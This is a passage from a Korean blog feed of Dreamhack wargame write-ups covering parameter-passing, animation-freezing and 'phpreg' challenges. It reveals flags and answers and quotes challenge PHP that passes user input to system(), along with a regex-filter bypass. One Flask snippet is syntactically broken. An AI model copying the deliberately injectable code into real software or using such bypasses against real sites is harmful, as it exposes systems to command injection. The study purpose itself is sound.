&lt;h4 id=&quot;step1&quot; style=&quot;background-color: #ffffff; color: #212529; text-align: start;&quot; data-ke-size=&quot;size20&quot;&gt;Step1&lt;/h4&gt;
&lt;ul style=&quot;list-style-type: disc; background-color: #ffffff; color: #212529; text-align: start;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li&gt;웹사이트 URL의 파라미터로 뭐가 들어갈지 입력하는 과정
&lt;ul style=&quot;list-style-type: disc;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li&gt;param: getget&lt;span&gt;&amp;nbsp;&lt;/span&gt;/&lt;span&gt;&amp;nbsp;&lt;/span&gt;param2: rerequest&lt;span&gt;&amp;nbsp;&lt;/span&gt;넣어야 step2로 넘어갈 수 있음&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;pre id=&quot;code_1757683754374&quot; class=&quot;python&quot; data-ke-language=&quot;python&quot; data-ke-type=&quot;codeblock&quot;&gt;&lt;code&gt;@app.route(&quot;/step1&quot;, methods=[&quot;GET&quot;, &quot;POST&quot;])
def step1():
    if request.method == &quot;GET&quot;:
        prm1 = request.args.get(&quot;param&quot;, &quot;&quot;)
        prm2 = request.args.get(&quot;param2&quot;, &quot;&quot;)
        step1_text = &quot;param : &quot; + prm1 + &quot;\nparam2 : &quot; + prm2 + &quot;\n&quot;
        if prm1 == &quot;getget&quot; and prm2 == &quot;rerequest&quot;:
            return redirect(url_for(&quot;step2&quot;, prev_step_num = step1_num))
        return render_template(&quot;step1.html&quot;, text = step1_text)
    else: 
        return render_template(&quot;step1.html&quot;, text = &quot;Not POST&quot;)&lt;/code&gt;&lt;/pre&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;ul style=&quot;list-style-type: disc;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li&gt;값을 맞게 입력하면 step2로 넘어갈 수 있다.&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignLeft&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;586&quot; data-origin-height=&quot;340&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/bQ20Rl/btsQzCUgmZa/Px0VhVgrJujpuZghXl9oGk/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/bQ20Rl/btsQzCUgmZa/Px0VhVgrJujpuZghXl9oGk/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/bQ20Rl/btsQzCUgmZa/Px0VhVgrJujpuZghXl9oGk/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FbQ20Rl%2FbtsQzCUgmZa%2FPx0VhVgrJujpuZghXl9oGk%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;425&quot; height=&quot;247&quot; data-origin-width=&quot;586&quot; data-origin-height=&quot;340&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h4 id=&quot;step2&quot; style=&quot;background-color: #ffffff; color: #212529; text-align: start;&quot; data-ke-size=&quot;size20&quot;&gt;Step2&lt;/h4&gt;
&lt;ul style=&quot;list-style-type: disc; background-color: #ffffff; color: #212529; text-align: start;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li&gt;html 파일을 확인해보니, 입력값을 제출하면 flag페이지로 연결&lt;/li&gt;
&lt;/ul&gt;
&lt;pre id=&quot;code_1757683807024&quot; class=&quot;html xml&quot; data-ke-language=&quot;html&quot; data-ke-type=&quot;codeblock&quot;&gt;&lt;code&gt;{% block content %}
{% if prev_step_num and hidden_num %}
&amp;lt;form action=&quot;/flag&quot; method=&quot;post&quot;&amp;gt;
    &amp;lt;p&amp;gt;param &amp;lt;input type=&quot;text&quot; name=&quot;param&quot;/&amp;gt;&amp;lt;/p&amp;gt;
    &amp;lt;p&amp;gt;param2 &amp;lt;input type=&quot;text&quot; name=&quot;param2&quot;/&amp;gt;&amp;lt;/p&amp;gt;
    &amp;lt;input type=&quot;hidden&quot; name=&quot;check&quot; value=&quot;{{ hidden_num }}&quot;/&amp;gt;
    &amp;lt;input type=&quot;submit&quot;/&amp;gt;
&amp;lt;/form&amp;gt;
{% else %}
...
{% endif %}&lt;/code&gt;&lt;/pre&gt;
&lt;ul style=&quot;list-style-type: disc; background-color: #ffffff; color: #212529; text-align: start;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li&gt;flag 페이지의 코드
&lt;ul style=&quot;list-style-type: disc;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li&gt;param: pooost&lt;span&gt;&amp;nbsp;&lt;/span&gt;/&lt;span&gt;&amp;nbsp;&lt;/span&gt;param2: requeeest&lt;span&gt;&amp;nbsp;&lt;/span&gt;를 입력해야 통과할 수 있다는 것을 알수있다.&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;pre id=&quot;code_1757683825077&quot; class=&quot;python&quot; data-ke-language=&quot;python&quot; data-ke-type=&quot;codeblock&quot;&gt;&lt;code&gt;@app.route(&quot;/flag&quot;, methods=[&quot;GET&quot;, &quot;POST&quot;])
def flag():
    if request.method == &quot;GET&quot;:
        return render_template(&quot;flag.html&quot;, flag_txt=&quot;Not yet&quot;)
    else:
                prm1 = request.form.get(&quot;param&quot;, &quot;&quot;)
                prm2 = request.form.get(&quot;param2&quot;, &quot;&quot;)
                if prm1 == &quot;pooost&quot; and prm2 == &quot;requeeest&quot;:
                    return render_template(&quot;flag.html&quot;, flag_txt=FLAG)
                else:
                    return redirect(url_for(&quot;step2&quot;, prev_step_num = str(step1_num)))
            return render_template(&quot;flag.html&quot;, flag_txt=&quot;Not yet&quot;)
        except:
            return render_template(&quot;flag.html&quot;, flag_txt=&quot;Not yet&quot;)&lt;/code&gt;&lt;/pre&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;ul style=&quot;list-style-type: disc;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li&gt;파악한 값을 입력하면 무난하게 flag를 얻을 수 있다.&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;683&quot; data-origin-height=&quot;179&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/HPM2m/btsQx9etMym/4bkwkoCrmWBmCBuZyFkgf0/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/HPM2m/btsQx9etMym/4bkwkoCrmWBmCBuZyFkgf0/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/HPM2m/btsQx9etMym/4bkwkoCrmWBmCBuZyFkgf0/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FHPM2m%2FbtsQx9etMym%2F4bkwkoCrmWBmCBuZyFkgf0%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;683&quot; height=&quot;179&quot; data-origin-width=&quot;683&quot; data-origin-height=&quot;179&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;</description>
      <category>WARGAME/WEB</category>
      <category>Dreamhack</category>
      <category>WarGame</category>
      <category>WEB</category>
      <category>드림핵</category>
      <category>보안</category>
      <category>워게임</category>
      <category>정보보안</category>
      <author>eunee22</author>
      <guid isPermaLink="true">https://xmi1e-vir.tistory.com/13</guid>
      <comments>https://xmi1e-vir.tistory.com/13#entry13comment</comments>
      <pubDate>Fri, 12 Sep 2025 22:31:22 +0900</pubDate>
    </item>
    <item>
      <title>[Dreamhack] wargame 'Flying Chars' write-up</title>
      <link>https://xmi1e-vir.tistory.com/12</link>
      <description>&lt;blockquote data-ke-style=&quot;style3&quot;&gt;&lt;b&gt;  Biginner&lt;/b&gt;&lt;br /&gt;&lt;a href=&quot;https://dreamhack.io/wargame/challenges/850&quot; target=&quot;_blank&quot; rel=&quot;noopener&quot;&gt;문제링크&lt;/a&gt;&lt;br /&gt;날아다니는 글자들을 멈춰서 전체 문자열을 알아내세요! 플래그 형식은 DH{전체 문자열} 입니다.&lt;br /&gt;❗첨부파일을 제공하지 않는 문제입니다.&lt;br /&gt;❗플래그에 포함된 알파벳 중 &lt;u&gt;x, s, o&lt;/u&gt;는 모두 소문자입니다.&lt;br /&gt;❗플래그에 포함된 알파벳 중 &lt;u&gt;C&lt;/u&gt;는 모두 대문자입니다.&lt;/blockquote&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h3 id=&quot;문제-파악&quot; style=&quot;background-color: #ffffff; color: #212529; text-align: start;&quot; data-ke-size=&quot;size23&quot;&gt; 문제 파악&lt;/h3&gt;
&lt;p style=&quot;background-color: #ffffff; color: #212529; text-align: start;&quot; data-ke-size=&quot;size16&quot;&gt;따로 주어진 코드는 없으며 웹페이지를 열어보면 빠르게 글자들이 이동하고 있는 장면을 볼 수 있다.&lt;/p&gt;
&lt;p style=&quot;background-color: #ffffff; color: #212529; text-align: start;&quot; data-ke-size=&quot;size16&quot;&gt;개발자 모드를 열어서 코드를 확인해보면 다음 부분이 글자를 이동시키는 부부분에 해당한다.&lt;/p&gt;
&lt;pre id=&quot;code_1757551689604&quot; class=&quot;html xml&quot; data-ke-language=&quot;html&quot; data-ke-type=&quot;codeblock&quot;&gt;&lt;code&gt;&amp;lt;script type=&quot;text/javascript&quot;&amp;gt;
    const img_files = [&quot;/static/images/10.png&quot;, &quot;/static/images/17.png&quot;, &quot;/static/images/13.png&quot;, &quot;/static/images/7.png&quot;,&quot;/static/images/16.png&quot;, &quot;/static/images/8.png&quot;, &quot;/static/images/14.png&quot;, &quot;/static/images/2.png&quot;, &quot;/static/images/9.png&quot;, &quot;/static/images/5.png&quot;, &quot;/static/images/11.png&quot;, &quot;/static/images/6.png&quot;, &quot;/static/images/12.png&quot;, &quot;/static/images/3.png&quot;, &quot;/static/images/0.png&quot;, &quot;/static/images/19.png&quot;, &quot;/static/images/4.png&quot;, &quot;/static/images/15.png&quot;, &quot;/static/images/18.png&quot;, &quot;/static/images/1.png&quot;];
    var imgs = [];
    for (var i = 0; i &amp;lt; img_files.length; i++){
      imgs[i] = document.createElement('img');
      imgs[i].src = img_files[i]; 
      imgs[i].style.display = 'block';
      imgs[i].style.width = '10px';
      imgs[i].style.height = '10px';
      document.getElementById('box').appendChild(imgs[i]);
    }

    const max_pos = self.innerWidth;
    function anim(elem, pos, dis){
      function move() {
        pos += dis;
        if (pos &amp;gt; max_pos) {
          pos = 0;
        }
        elem.style.transform = `translateX(${pos}px)`;
        requestAnimationFrame(move);
      }
      move();
    }

    for(var i = 0; i &amp;lt; 20; i++){
      anim(imgs[i], 0, Math.random()*60+20);
    }
  &amp;lt;/script&amp;gt;&lt;/code&gt;&lt;/pre&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p style=&quot;background-color: #ffffff; color: #212529; text-align: start;&quot; data-ke-size=&quot;size16&quot;&gt;코드는 다음과 같이 작동된다.&lt;/p&gt;
&lt;ol style=&quot;list-style-type: decimal; background-color: #ffffff; color: #212529; text-align: start;&quot; data-ke-list-type=&quot;decimal&quot;&gt;
&lt;li&gt;&lt;b&gt;이미지 생성 및 설정&lt;/b&gt;
&lt;ul style=&quot;list-style-type: disc;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li&gt;img_files라는 배열에 20개 이미지 파일의 경로를 저장&lt;/li&gt;
&lt;li&gt;for&amp;nbsp;반복문을 통해 20개의&amp;nbsp;&amp;lt;img&amp;gt;&amp;nbsp;태그를 동적으로 생성&lt;/li&gt;
&lt;li&gt;생성된 각 이미지에 너비와 높이를 10픽셀로 지정하고, 'box'라는 ID를 가진 HTML 요소 안에 추가&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;&lt;b&gt;애니메이션 함수&lt;span&gt;&amp;nbsp;&lt;/span&gt;anim()&lt;/b&gt;
&lt;ul style=&quot;list-style-type: disc;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li&gt;HTML 요소와 시작 위치, 이동 거리를 입력받아 애니메이션을 처리하는 함수&lt;/li&gt;
&lt;li&gt;내부의&amp;nbsp;move&amp;nbsp;함수는&amp;nbsp;requestAnimationFrame을 사용하여 부드러운 애니메이션을 구현&lt;/li&gt;
&lt;li&gt;이미지의 x좌표를 계속해서 증가시켜 오른쪽으로 움직이게함&lt;/li&gt;
&lt;li&gt;이미지가 화면 오른쪽 끝을 넘어가면 위치를 다시 0으로 리셋하여 왼쪽에서 다시 나타나도록함&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;&lt;b&gt;애니메이션 실행&lt;/b&gt;
&lt;ul style=&quot;list-style-type: disc;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li&gt;마지막&amp;nbsp;for&amp;nbsp;반복문에서 20개의 각 이미지에 대해&amp;nbsp;anim&amp;nbsp;함수를 실행&lt;/li&gt;
&lt;li&gt;Math.random()을 사용하여 각 이미지가 20에서 80 사이의 무작위 속도를 갖게 하여, 이미지들이 서로 다른 속도로 움직이는 효과 구현&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;/ol&gt;
&lt;h3 id=&quot;문제-풀이&quot; style=&quot;background-color: #ffffff; color: #212529; text-align: start;&quot; data-ke-size=&quot;size23&quot;&gt; 문제 풀이&lt;/h3&gt;
&lt;p style=&quot;background-color: #ffffff; color: #212529; text-align: start;&quot; data-ke-size=&quot;size16&quot;&gt;총 두가지의 풀이 방법을 떠올렸다.&lt;/p&gt;
&lt;h4 id=&quot;1-배열에서-불러오는-순서대로-읽기&quot; style=&quot;background-color: #ffffff; color: #212529; text-align: start;&quot; data-ke-size=&quot;size20&quot;&gt;1. 배열에서 불러오는 순서대로 읽기&lt;/h4&gt;
&lt;ul style=&quot;list-style-type: disc; background-color: #ffffff; color: #212529; text-align: start;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li&gt;그러나 이건 (개인적으로) 재미가 없는 풀이라고 느껴서 이렇게 풀지는 않았다.&lt;/li&gt;
&lt;/ul&gt;
&lt;h4 id=&quot;2-화면-캡쳐&quot; style=&quot;background-color: #ffffff; color: #212529; text-align: start;&quot; data-ke-size=&quot;size20&quot;&gt;2. 화면 캡쳐&lt;/h4&gt;
&lt;ul style=&quot;list-style-type: disc; background-color: #ffffff; color: #212529; text-align: start;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li&gt;이 역시도 문제에서 의도하는 풀이는 아니라고 생각하여 다른 방법으로 풀었다.&lt;/li&gt;
&lt;/ul&gt;
&lt;h4 id=&quot;3-애니메이션-함수-자체를-무력화&quot; style=&quot;background-color: #ffffff; color: #212529; text-align: start;&quot; data-ke-size=&quot;size20&quot;&gt;3. 애니메이션 함수 자체를 무력화&lt;/h4&gt;
&lt;ul style=&quot;list-style-type: disc; background-color: #ffffff; color: #212529; text-align: start;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li&gt;애니메이션 구현의 핵심은&lt;span&gt;&amp;nbsp;&lt;/span&gt;requestAnimationFrame()&lt;span&gt;&amp;nbsp;&lt;/span&gt;함수이므로 이 함수를 아무것도 하지 않는 빈함수로 덮어쓴다면 해당 페이지의 모든 애니메이션이 멈추게 된다.&lt;/li&gt;
&lt;li&gt;따라서 콘솔에 아래 코드를 입력했다&lt;/li&gt;
&lt;/ul&gt;
&lt;pre id=&quot;code_1757551838820&quot; class=&quot;javascript&quot; data-ke-language=&quot;javascript&quot; data-ke-type=&quot;codeblock&quot;&gt;&lt;code&gt;window.requestAnimationFrame = function() {};&lt;/code&gt;&lt;/pre&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock widthContent&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;1280&quot; data-origin-height=&quot;847&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/rWQzC/btsQtHvAgyd/uh4QCpmpN8PSkLkZwkVBa1/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/rWQzC/btsQtHvAgyd/uh4QCpmpN8PSkLkZwkVBa1/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/rWQzC/btsQtHvAgyd/uh4QCpmpN8PSkLkZwkVBa1/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FrWQzC%2FbtsQtHvAgyd%2Fuh4QCpmpN8PSkLkZwkVBa1%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;1280&quot; height=&quot;847&quot; data-origin-width=&quot;1280&quot; data-origin-height=&quot;847&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;ul style=&quot;list-style-type: disc; background-color: #ffffff; color: #212529; text-align: start;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li&gt;이 코드가 실행된 이후부터 브라우저는 다음 프레임을 그려달라는 모든 요청을 무시하게 되므로, 이미지들의 움직임이 그 자리에 즉시 얼어붙게 된다.&lt;/li&gt;
&lt;li&gt;멈춘 화면에서 글자를 하나하나 가져오면 정답은&lt;br /&gt;&lt;span style=&quot;background-color: #dddddd;&quot;&gt;&lt;b&gt;Too_H4rd_to_sEe_th3_Ch4rs_x.x&lt;/b&gt;&lt;/span&gt;이다.&lt;/li&gt;
&lt;/ul&gt;
&lt;h4 id=&quot;참고할-자료&quot; style=&quot;background-color: #ffffff; color: #212529; text-align: start;&quot; data-ke-size=&quot;size20&quot;&gt;[참고할 자료]&lt;/h4&gt;
&lt;p style=&quot;background-color: #ffffff; color: #212529; text-align: start;&quot; data-ke-size=&quot;size16&quot;&gt;문제를 풀고 나서 찾아본 다른 분들의 풀이중에 참고하면 좋을 풀이를 공유한다.&lt;/p&gt;
&lt;blockquote data-ke-style=&quot;style2&quot;&gt;&lt;b&gt;랜덤 속도만 0으로 바꾸는 방법&lt;/b&gt;&lt;br /&gt;&lt;a href=&quot;https://whkakrkr.tistory.com/542&quot; target=&quot;_blank&quot; rel=&quot;noopener&quot;&gt;https://whkakrkr.tistory.com/542&lt;/a&gt;&lt;/blockquote&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;</description>
      <category>WARGAME/WEB</category>
      <category>Dreamhack</category>
      <category>JavaScript</category>
      <category>WarGame</category>
      <category>WEB</category>
      <category>드림핵</category>
      <category>보안</category>
      <category>워게임</category>
      <category>정보보안</category>
      <author>eunee22</author>
      <guid isPermaLink="true">https://xmi1e-vir.tistory.com/12</guid>
      <comments>https://xmi1e-vir.tistory.com/12#entry12comment</comments>
      <pubDate>Thu, 11 Sep 2025 09:53:07 +0900</pubDate>
    </item>
    <item>
      <title>[Dreamhack] wargame 'phpreg' write-up</title>
      <link>https://xmi1e-vir.tistory.com/11</link>
      <description>&lt;blockquote data-ke-style=&quot;style3&quot;&gt;&lt;b&gt;  Biginner&lt;/b&gt;&lt;br /&gt;&lt;a href=&quot;https://dreamhack.io/wargame/challenges/873&quot; target=&quot;_blank&quot; rel=&quot;noopener&quot;&gt;문제링크&lt;/a&gt;&lt;br /&gt;php로 작성된 페이지입니다.&lt;br /&gt;알맞은 Nickname과 Password를 입력하면 Step 2로 넘어갈 수 있습니다.&lt;br /&gt;Step 2에서 system() 함수를 이용하여 플래그를 획득하세요.&lt;br /&gt;플래그는 ../dream/flag.txt 에 위치합니다.&lt;br /&gt;플래그의 형식은 DH{...} 입니다.&lt;/blockquote&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h3 id=&quot;문제-파악&quot; style=&quot;background-color: #ffffff; color: #212529; text-align: start;&quot; data-ke-size=&quot;size23&quot;&gt; 문제 파악&lt;/h3&gt;
&lt;ul style=&quot;list-style-type: disc;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li&gt;닉네임이랑 패스워드를 입력해서 제출하면 step2로 넘어간다/&lt;/li&gt;
&lt;/ul&gt;
&lt;pre id=&quot;code_1757338740309&quot; class=&quot;html xml&quot; data-ke-language=&quot;html&quot; data-ke-type=&quot;codeblock&quot;&gt;&lt;code&gt;&amp;lt;nav class=&quot;navbar navbar-default navbar-fixed-top&quot;&amp;gt;
      &amp;lt;div class=&quot;container&quot;&amp;gt;
        &amp;lt;div class=&quot;navbar-header&quot;&amp;gt;
          &amp;lt;a class=&quot;navbar-brand&quot; href=&quot;/&quot;&amp;gt;PHPreg&amp;lt;/a&amp;gt;
        &amp;lt;/div&amp;gt;
        &amp;lt;div id=&quot;navbar&quot;&amp;gt;
          &amp;lt;ul class=&quot;nav navbar-nav&quot;&amp;gt;
            &amp;lt;li&amp;gt;&amp;lt;a href=&quot;/&quot;&amp;gt;Step 1&amp;lt;/a&amp;gt;&amp;lt;/li&amp;gt;
            &amp;lt;li&amp;gt;&amp;lt;a href=&quot;/step2.php&quot;&amp;gt;Step 2&amp;lt;/a&amp;gt;&amp;lt;/li&amp;gt;
          &amp;lt;/ul&amp;gt;
        &amp;lt;/div&amp;gt;&amp;lt;!--/.nav-collapse --&amp;gt;
      &amp;lt;/div&amp;gt;
    &amp;lt;/nav&amp;gt;&amp;lt;br/&amp;gt;&amp;lt;br/&amp;gt;&amp;lt;br/&amp;gt;
    &amp;lt;div class=&quot;container&quot;&amp;gt;
      &amp;lt;div class=&quot;box&quot;&amp;gt;
        &amp;lt;h4&amp;gt;Step 1 : Open the door &amp;amp; Go to Step 2 !!&amp;lt;/h4&amp;gt;
        &amp;lt;div class=&quot;door&quot;&amp;gt;&amp;lt;div class=&quot;door_cir&quot;&amp;gt;&amp;lt;/div&amp;gt;&amp;lt;/div&amp;gt;
        &amp;lt;p&amp;gt;
          &amp;lt;form method=&quot;post&quot; action=&quot;/step2.php&quot;&amp;gt;
              &amp;lt;input type=&quot;text&quot; placeholder=&quot;Nickname&quot; name=&quot;input1&quot;&amp;gt;
              &amp;lt;input type=&quot;text&quot; placeholder=&quot;Password&quot; name=&quot;input2&quot;&amp;gt;
              &amp;lt;input type=&quot;submit&quot; value=&quot;제출&quot;&amp;gt;
          &amp;lt;/form&amp;gt;
        &amp;lt;/p&amp;gt;
      &amp;lt;/div&amp;gt;
    &amp;lt;/div&amp;gt;&lt;/code&gt;&lt;/pre&gt;
&lt;ul style=&quot;list-style-type: disc; background-color: #ffffff; color: #212529; text-align: start;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li&gt;step1에서 step2로 넘어가는 부분
&lt;ul style=&quot;list-style-type: disc;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li&gt;구체적으로는&lt;span&gt;&amp;nbsp;&lt;/span&gt;if ($name === &quot;dnyang0310&quot; &amp;amp;&amp;amp; $pw === &quot;d4y0r50ng+1+13&quot;)를 참으로 만들어야 한다.&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;pre id=&quot;code_1757338780854&quot; class=&quot;python&quot; data-ke-language=&quot;python&quot; data-ke-type=&quot;codeblock&quot;&gt;&lt;code&gt;if ($_SERVER[&quot;REQUEST_METHOD&quot;] == &quot;POST&quot;) {
            $input_name = $_POST[&quot;input1&quot;] ? $_POST[&quot;input1&quot;] : &quot;&quot;;
            $input_pw = $_POST[&quot;input2&quot;] ? $_POST[&quot;input2&quot;] : &quot;&quot;;

            // pw filtering
            if (preg_match(&quot;/[a-zA-Z]/&quot;, $input_pw)) {
              echo &quot;alphabet in the pw :(&quot;;
            }
            else{
              $name = preg_replace(&quot;/nyang/i&quot;, &quot;&quot;, $input_name);
              $pw = preg_replace(&quot;/\d*\@\d{2,3}(31)+[^0-8\&quot;]\!/&quot;, &quot;d4y0r50ng&quot;, $input_pw);
              # 이게 step2로 넘어가기 위한 조건
              if ($name === &quot;dnyang0310&quot; &amp;amp;&amp;amp; $pw === &quot;d4y0r50ng+1+13&quot;) {
                echo '&amp;lt;h4&amp;gt;Step 2 : Almost done...&amp;lt;/h4&amp;gt;&amp;lt;div class=&quot;door_box&quot;&amp;gt;&amp;lt;div class=&quot;door_black&quot;&amp;gt;&amp;lt;/div&amp;gt;&amp;lt;div class=&quot;door&quot;&amp;gt;&amp;lt;div class=&quot;door_cir&quot;&amp;gt;&amp;lt;/div&amp;gt;&amp;lt;/div&amp;gt;&amp;lt;/div&amp;gt;';

                $cmd = $_POST[&quot;cmd&quot;] ? $_POST[&quot;cmd&quot;] : &quot;&quot;;

                if ($cmd === &quot;&quot;) {
                  echo '
                        &amp;lt;p&amp;gt;&amp;lt;form method=&quot;post&quot; action=&quot;/step2.php&quot;&amp;gt;
                            &amp;lt;input type=&quot;hidden&quot; name=&quot;input1&quot; value=&quot;'.$input_name.'&quot;&amp;gt;
                            &amp;lt;input type=&quot;hidden&quot; name=&quot;input2&quot; value=&quot;'.$input_pw.'&quot;&amp;gt;
                            &amp;lt;input type=&quot;text&quot; placeholder=&quot;Command&quot; name=&quot;cmd&quot;&amp;gt;
                            &amp;lt;input type=&quot;submit&quot; value=&quot;제출&quot;&amp;gt;&amp;lt;br/&amp;gt;&amp;lt;br/&amp;gt;
                        &amp;lt;/form&amp;gt;&amp;lt;/p&amp;gt;
                  ';
                }
                // cmd filtering
                else if (preg_match(&quot;/flag/i&quot;, $cmd)) {
                  echo &quot;&amp;lt;pre&amp;gt;Error!&amp;lt;/pre&amp;gt;&quot;;
                }
                else{
                  echo &quot;&amp;lt;pre&amp;gt;--Output--\n&quot;;
                  # 이 함수를 이용
                  system($cmd);
                  echo &quot;&amp;lt;/pre&amp;gt;&quot;;
                }
              }
              else{
                echo &quot;Wrong nickname or pw&quot;;
              }
            }
          }
          // GET request
          else{
            echo &quot;Not GET request&quot;;
          }
      ?&amp;gt;&lt;/code&gt;&lt;/pre&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h3 id=&quot;문제-풀이&quot; style=&quot;background-color: #ffffff; color: #212529; text-align: start;&quot; data-ke-size=&quot;size23&quot;&gt; 문제 풀이&lt;/h3&gt;
&lt;h4 style=&quot;background-color: #ffffff; color: #212529; text-align: start;&quot; data-ke-size=&quot;size20&quot;&gt;STEP 1&lt;/h4&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;span style=&quot;background-color: #ffffff; color: #212529; text-align: start;&quot;&gt;주어진 식&lt;span&gt;&amp;nbsp;&lt;/span&gt;&lt;/span&gt;if ($name === &quot;dnyang0310&quot; &amp;amp;&amp;amp; $pw === &quot;d4y0r50ng+1+13&quot;)&lt;span style=&quot;background-color: #ffffff; color: #212529; text-align: start;&quot;&gt;는 다음 조건을 만족해야한다.&lt;/span&gt;&lt;/p&gt;
&lt;ol style=&quot;list-style-type: decimal;&quot; data-ke-list-type=&quot;decimal&quot;&gt;
&lt;li&gt;&lt;b&gt;닉네임&lt;/b&gt;
&lt;ul style=&quot;list-style-type: disc;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li&gt;&quot;nyang&quot;이라는 문자열(대소문자 구분 없이)을 찾아 제거&lt;/li&gt;
&lt;li&gt;&lt;span style=&quot;background-color: #ffffff; color: #212529; text-align: start;&quot;&gt;따라서&lt;span&gt;&amp;nbsp;&lt;/span&gt;&lt;/span&gt;&lt;b&gt;&quot;dnnyangyang0310&quot;&lt;/b&gt;&lt;span style=&quot;background-color: #ffffff; color: #212529; text-align: start;&quot;&gt;이라는 문자열을 입력하면 &quot;nyang&quot;부분이 지워지면서&lt;span&gt;&amp;nbsp;&lt;/span&gt;&lt;/span&gt;&lt;b&gt;dn[&lt;s&gt;nyang&lt;/s&gt;]yang0310&lt;/b&gt;&lt;span style=&quot;background-color: #ffffff; color: #212529; text-align: start;&quot;&gt;&lt;span&gt;&amp;nbsp;&lt;/span&gt;이렇게 우리가 원하는 닉네임이 된다.&lt;/span&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;&lt;b&gt;&lt;span style=&quot;background-color: #ffffff; color: #212529; text-align: start;&quot;&gt;비밀번호&lt;/span&gt;&lt;/b&gt;
&lt;ul style=&quot;list-style-type: disc;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li&gt;&lt;span style=&quot;background-color: #ffffff; color: #212529; text-align: start;&quot;&gt;비밀번호에 영문 알파벳이 미포함&lt;/span&gt;&lt;/li&gt;
